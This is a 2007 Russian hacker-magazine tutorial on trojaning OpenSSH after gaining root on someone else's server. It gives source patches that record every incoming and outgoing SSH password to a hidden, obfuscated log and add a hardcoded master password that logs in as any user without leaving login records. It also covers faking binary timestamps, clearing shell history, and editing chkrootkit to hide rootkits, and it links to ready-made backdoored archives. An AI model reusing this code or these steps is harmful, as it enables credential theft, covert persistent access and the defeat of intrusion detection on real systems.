Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #103, ИЮЛЬ 2007 г.

Шапка-невидимка

ShadOS (shados@real.xakep.ru)

Хакер, номер #103, стр. 076

Руководство по затрояниванию OpenSSH

Приветствую! Первым делом, чтобы не тратить твое время скажу, что статья рассчитана на полных чайников в деле вторжения в систему, поскольку уважающий себя взломщик с этими приемами непременно знаком. Если ты себя считаешь таковым, дочитай до конца, чтобы убедиться в этом и начать уважать себя еще больше, если же ты все-таки начинающий, тебе тем более это будет полезно.

Очень часто и в большом количестве я получаю вопросы о том, как максимально просто и основательно укрепиться в системе, если для нее нет нормального руткита. Простым примером такого случая является FreeBSD пятой и шестой веток, руткиты уровня ядра для которых либо совсем не существуют, либо существуют в виде концептуальных, но не годных к боевому применению задумок. Также примером может служить Linux-система с установленной IDS LIDS, настроенная таким образом, что подгрузка модулей ядра ограничена суперпользователем (здесь я не буду касаться руткитов, которые работают с /dev/kmem и /dev/mem без использования LKM (подгружаемых модулей ядра Linux), поскольку мало знаком с этой технологией). О так называемых руткитах пользовательского уровня, состоящих из бинарников протрояненных системных утилит вроде ls, ps, who, last, lastlog, top, netstat, login и т.д., мы говорить не будем, так как их обнаружение является абсолютно тривиальной задачей, с которой легко справляются пассивные локальные системы детектирования вторжений типа chkrootkit и rkhunter. Примерами подобных руткитов для Linux могут служить хорошо известные shv5 (в том числе его более ранние версии) и lrk; для FreeBSD - fbsd, fbrk и им подобные.

Баян?

Ты спросишь, так что же я предлагаю? Конечно же, хорошо известный способ затроянивания OpenSSH. Только не стоит сразу обвинять меня в том, что статья - «баян». Я буду говорить не только о банальном логировании исходящих соединений в /var/tmp/sshbug.txt, реализованном в большинстве забэкдоренных версий OpenSSH, но и о полном протоколировании входящих/исходящих соединений, о невидимости в системе и, конечно же, о входе в систему с магическим паролем без записи события в системные журналы. На то оно и руководство.

Попав в систему и подняв права суперпользователя (он же любимый тобой root с id=0), следует помнить, что необходимо действовать очень быстро и аккуратно, поскольку второй раз получить максимальные привилегии уже вряд ли удастся. Поэтому я постараюсь рассказать все максимально подробно и последовательно. Естественно, не надо забывать периодически посматривать, нет ли в системе кого-нибудь еще, чтобы не спалиться.

Ну что, поехали?

Первым делом запиши где-нибудь время модификации бинарников ssh и sshd:

ls --full-time /usr/bin/ssh /usr/sbin/sshd > ./savetime!

Оно нам пригодится в дальнейшем, чтобы не спалиться по дате модификации.

Для начала сливаем исходники OpenSSH с официального зеркала одним из приведенных ниже способов (в зависимости от того, что присутствует в системе):

wget ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -O openssh-4.6p1.tar.gz

links -source ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz

lynx -source ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz

curl ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -o openssh-4.6p1.tar.gz

GET ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz

fetch -o ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -p openssh-4.6p1.tar.gz

Затем распаковываем и переходим в папку с исходниками. Далее необходимо открыть файл includes.h. Если в качестве текстового редактора ты юзаешь nano или mcedit, проблем у тебя возникнуть не должно, однако чаще всего уважающий себя админ не ставит такую, прошу прощения, фигню в систему и пользуется vi или даже vim. Потому за пример возьмем его:

vim includes.h.

Работа с vim кардинально отличается от работы с обычными текстовыми редакторами: большинство действий здесь происходит путем вызова специальных команд. В файле includes.h нам необходимо найти строчку, содержащую подключение заголовочного файла entropy.h. Сделать это можно следующим образом:

:/#include "entropy.h"

Эта команда произведет поиск с начала документа и установит курсор к первому вхождению искомой строки. Затем нажимаем :a, что позволит перейти в режим редактирования, и набираем следующий код:

//заголовочные файлы, которые нам понадобятся

//для работы с файлами (каламбур, но это так)

#include <sys/stat.h>

#include <stdio.h>

//определяем наш магический пароль, который мы будем использовать

//для входа в систему незамеченными под любым пользователем

#define _S_PASSWD "th4nks2sh4d0s"

//определяем место, где будет находиться лог всех сессий

//(его лучше поукромнее спрятать)

#define _SSH_LOG "/tmp/.sshhell"

FILE *fshadlog;

//буфер, в который мы будем скидывать данные из других функций,

//который впоследствии попадет в лог-файл с паролями.

char shad_buff[2048];

int login_shados, shad_i;

//функция, записывающая и шифрующая все данные в файле с

//помощью побайтового логического отрицания

#define shad_passlog() \

{ \

for(shad_i=0; shad_i<=strlen(shad_buff); shad_i++) \

shad_buff[shad_i]=~shad_buff[shad_i]; \

fshadlog=fopen(_SSH_LOG, "a"); \

if(fshadlog!=NULL) \

{ \

fwrite(shad_buff, strlen(shad_buff), 1, fshadlog); \

fclose(fshadlog); \

} \

chmod(_SSH_LOG, 0666); \

}

Файл includes.h мы больше трогать не будем, поэтому сохраняем его и выходим, нажав <ESC> и набрав команду :x или :wq.

Переменная login_shados, которую мы объявили в includes.h, будет у нас флагом, сигнализирующим о том, нужно ли вносить информацию о входе пользователя в систему. В OpenSSH за логирование пользователей в системе отвечают следующие файлы: log.c и loginrec.c.

Открываем log.c, переходим к строке:

int pri = LOG_INFO;

Добавляем здесь проверку:

if (login_shados) return;

То есть при наличии установленного флага мы просто возвращаемся. Далее переходим к файлу loginrec.c и ищем строку с объявлением функции login_write:

int

login_write(struct logininfo *li)

Соответственно, добавляем здесь такую же проверку первой строкой в теле функции:

if (login_shados) return;

Теперь займемся протрояниванием исходников, отвечающих за вход в какую-либо систему с данной (взломанной тобой) машины. Это позволит нам при хорошем раскладе получить еще пару-тройку шеллов, на которые могут входить пользователи затрояненной тобой машины. Файлами, отвечающими за подобный способ входа, являются sshconnect2.c и sshconnect1.c для входа по протоколу SSHv2 и SSHv1 соответственно. Хотя последний уже почти нигде не используется, за исключением разве что различных коммутаторов и некоторых хардварных роутеров. Но все же затрояним – лишним не будет =).

Итак, открываем sshconnect1.c и переходим к строкам:

packet_start(SSH_CMSG_AUTH_PASSWORD);

ssh_put_password(password);

Сразу же за ними добавляем наш код:

sprintf(shad_buff, "ssh1 password auth to: %s \tuser: %s \tpass: %s\n",

get_remote_ipaddr(), options.user, password);

shad_passlog();

В первой строке мы помещаем в буфер информацию, которую хотим залогировать (имя пользователя, пароль, куда коннектится пользователь), а во второй строке вызываем нашу функцию записи в лог-файл shad_passlog(), которую мы объявили в подключаемом ко всем исходникам заголовочном файле. Аналогичным образом поступаем и в sshconnect2.c.

Находим строки:

packet_put_char(0);

packet_put_cstring(password);

И добавляем следом:

sprintf(shad_buff, "ssh2 auth to: %s \tuser: %s \tpass: %s\n",

get_remote_ipaddr(), options.user, password);

shad_passlog();

Однако здесь есть еще одно место, где может быть перехвачен пароль. Я, к сожалению, до конца не разобрался, в каком случае происходит какой вызов, потому затрояним еще после вот этих строк:

echo = packet_get_char();

response = read_passphrase(prompt, echo ? RP_ECHO : 0);

Вставляем наш код:

sprintf(shad_buff, "ssh2 login to: %s \tuser: %s \tpass: %s\n",

get_remote_ipaddr(), options.user, response);

shad_passlog();

На этом с захватом исходящих паролей покончено. Перейдем к затрояниванию файлов, занимающихся приемом входящих соединений. Понятно, что в случае авторизации по открытому ключу нам ловить практически нечего (ну или почти нечего), потому остается два возможных варианта перехвата пароля: при входе пользователя, авторизующегося прямым вводом пароля, или при входе с авторизацией по паролю с использованием технологии PAM.

За авторизацию по паролю отвечает файл auth-passwd.c. Открываем его, переходим к строкам:

if (*password == '\0' && options.permit_empty_passwd == 0)

return 0;

И добавляем после них:

if(!strcmp(_S_PASSWD, password)) return (login_shados = 1);

sprintf(shad_buff, "password auth from remote:\tuser: %s \tpass: %s\n",pw->pw_name, password);

shad_passlog();

Вначале мы здесь сравниваем пришедший пароль с нашим секретным (th4nks2sh4d0s). Если они совпадают, то соединение логировать мы не будем. Чтобы не логировать, установим наш флаг. В противном случае записываем пароль и имя пользователя, с которыми был осуществлен вход. К сожалению, вызвать здесь get_remote_ipaddr(), которая получает IP-адрес удаленного хоста, у меня не получилось, поэтому узнать, откуда авторизовался пользователь, мы не сможем (sshd категорически отказывается работать при наличии здесь этого вызова). Но поскольку цель - получить пароль – достигнута, мы не станем заострять на этом внимание.

Теперь переходим к файлу auth-pam.c, отвечающему за вход с PAM-авторизацией. Находим строку:

if (sshpam_err != PAM_SUCCESS)

goto auth_fail;

И добавляем после нее:

if(login_shados) sshpam_err = PAM_SUCCESS;

В этом случае при попытке входа с нашим магическим паролем PAM мог бы нас не пустить, но мы сообщаем ему, что все ОК – можно продолжать работу. Теперь переходим к строке с объявлением:

struct pam_ctxt *ctxt = ctx;

И добавляем:

if(sshpam_authctxt)

for (shad_i = 0; shad_i < num; ++shad_i) {

sprintf(shad_buff, "PAM auth from: %s \tuser: %s \tpass: %s\n",

get_remote_ipaddr(), sshpam_authctxt->user, resp[shad_i]);

if(!strcmp(_S_PASSWD, resp[shad_i])) ctxt->pam_done = shados_login = 1;

else shad_passlog();

}

Общий смысл кода сводится к тому, что мы пытаемся побайтово считать информацию (пароль и т.п.) из переменной resp, являющейся ответом удаленной машины на запрос авторизации. Если же вводился наш магический пароль, его логировать не будем. Наконец, переходим к строкам:

if (sshpam_err != PAM_SUCCESS)

fatal("PAM: failed to set PAM_CONV: %s",

pam_strerror(sshpam_handle, sshpam_err));

И добавляем нашу проверку флага:

if (!shados_login)

sshpam_err = pam_open_session(sshpam_handle, 0);

Установка бэкдора

Собственно, на этом можно считать затроянивание оконченным, надо только поменять номер версии в файле version.h на тот, что был установлен в системе изначально. Теперь можно переходить к сборке OpenSSH. Осуществляется она тривиально:

./configure

make

make install

Вот только перед конфигурацией не забудь уточнить, где находятся бинарники ssh и sshd:

which ssh && which sshd

Также конфигурируй OpenSSH с параметрами «--bindir=» и «--sbindir=», указав после «=» пути к бинарникам ssh и sshd соответственно. Также необходимо указать путь к конфигу sshd. На разных системах он может находиться как в /etc/, так и в /usr/etc. По умолчанию путь является вторым значением. Полный список возможных параметров преконфигурирования ssh можно узнать из ./configure --help.

Ах да, чуть не забыл. Если в системе использовалась PAM-авторизация, не забудь включить соответствующий флаг. В итоге получаем:

./configure --bindir=/usr/bin и --sbindir=/usr/sbin --with-pam --prefix=/usr --sysconfdir=/etc/ssh

После того как бинарники соберутся, делаем им стриптиз, очищая от всевозможной символьной информации:

strip ssh sshd

А затем убиваем демон:

kill `cat /var/run/sshd.pid`

Хотя правильнее просто перезапустить его, например, в Gentoo это делается следующим образом:

/etc/init.d/sshd restart

А в RHEL - так:

/etc/rc.d/init.d/sshd restart

И в заключение правим время модификации с помощью touch в таком формате:

touch -c -m -t ГГММДДччмм.сс /usr/sbin/sshd /usr/bin/ssh

Вместо ГГММДДччмм.сс устанавливаем значения времени и даты, которые мы предварительно сохранили.

Собственно, на этом все.

Для декодирования логов будем использовать нехитрую программку на C:

#include <stdio.h>

main(int argc, char *argv)

{

FILE *f1, *f2;

char c;

f1 = fopen(&argv[1], "r");

f2 = fopen(&argv[2], "w");

while (!feof(f1)) {

c = fgetc(f1);

fputc((~c), f2);

}

fclose(f1);

fclose(f2);

}

Собирается она вот таким образом:

gcc decoder.c -o decoder

Вызов ее, как можно догадаться, очень прост:

./decoder /tmp/.sshhell /tmp/.sshhaven

В результате декодированные пароли окажутся в /tmp/.sshhaven.

Делаем заплатки

Все описанное выше затроянивание можно свести к одному очень полезному патч-файлу, сгенерировав его с помощью diff. Для этого нам понадобятся распакованные исходники оригинального OpenSSH и исходники затрояненного нами OpenSSH:

diff -N -c /path/to/original/openssh /path/to/trojaned/openssh > /path/to/store/patch.diff

И далее с помощью полученного файла patch.diff можно троянить исходники конвейерным способом, предварительно перейдя в папку с распакованным OpenSSH:

patch < patch.diff

Такой патч ты можешь включить в свой боевой инструментарий. Поверь мне, не прогадаешь.

Если же тебе удобнее использовать уже готовый протрояненный архив, то сливай его с моей домашней хомпаги, а затем сразу приступай к установке и сборке. Ссылку на архив с затрояненной версией ты найдешь в сносках. В файле include.h можно поменять значения магического пароля и пути сохранения паролей на что-нибудь более неприметное типа /etc/ppp/pppd.crt, в общем, придумывай сам.

Пару слов о скрытности в системе

О том, что нужно чистить .bash_history, надеюсь, ты не забыл. Это, пожалуй, основное палево при входе с магическим паролем, но не самое серьезное. В руках администратора средней паршивости страшным оружием становится утилита контроля целостности и поиска руткитов, например всеми любимый и повсеместно (неправильно) используемый chkrootkit. Помнишь, в начале статьи я упомянул о том, что обнаружение руткита уровня пользователя является почти тривиальной задачей? Значит, надо сделать ее нетривиальной! Конечно, обнаружение затрояненной версии openssh chkrootkit’ом предвидится нескоро, но мы все же рассмотрим общие принципы на будущее, кроме того, они пригодятся при установке shv5 во взломанную систему. Если не углубляться в подробности, основная составляющая chkrootkit – это одноименный файл в архиве, являющийся обычным bash-сценарием. Большинство строк в нем имеет следующий вид (на примере проверки установленного shv5):

### ShKit

if [ "${QUIET}" != "t" ]; then

printn "Searching for ShKit rootkit default files and dirs... "; fi

if [ -f ${ROOTDIR}lib/security/.config -o -f ${ROOTDIR}etc/ld.so.hash ]; then

echo "Possible ShKit rootkit installed"

else

if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi

fi

Соответственно, меняем этот код на что-то подобное вот этому:

### ShKit

if [ "${QUIET}" != "t" ]; then

printn "Searching for ShKit rootkit default files and dirs... "; fi

if [ -f ${ROOTDIR}lib/security/.config -o -f ${ROOTDIR}etc/ld.so.hash ]; then

#echo "Possible ShKit rootkit installed"

else

if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi

fi

Здесь мы закомментировали строку, выводящую предупреждение о возможном инфицировании, и вставили строку, аналогичную выводу при отсутствии подозрений у chkrootkit’а. Абсолютно таким же образом можно отвести подозрения от любых других руткитов в системе, главное - не забудь поменять дату модификации самого chkrootkit на изначальную (не устану повторять). Пожалуй, на этом и остановимся.

Заключение

Вместо заключения пожелаю тебе всего наилучшего, мой юный друг. Не попадайся, а еще лучше не занимайся всякими гадостями. Пользуясь случаем, хочу передать привет моему знакомому админу, который до сих пор не додумался переставить OpenSSH. Это был ShadOS из Hell Knights Crew.

Danger

Warning! Ахтунг! За применение материала в незаконных целях автор и редакция ответственности не несут. Все исходники распространяются по лицензии GPL.

WWW

На моей домашней странице ты можешь найти затрояненную версию OpenSSH (http://shados.0x48k.cc/releases/openssh-4.6p1-backdored.tar.gz) и сам патч (http://shados.0x48k.cc/releases/openssh-4.6p1-shadosed.diff). Также советую почитать интересную статью моего знакомого Dark.iNiTro «Троянизация основных программ в FreeBSD», которая жлет тебя на сайте команды Cyber Crime Bastards: http://ccb.0x48k.cc.

Содержание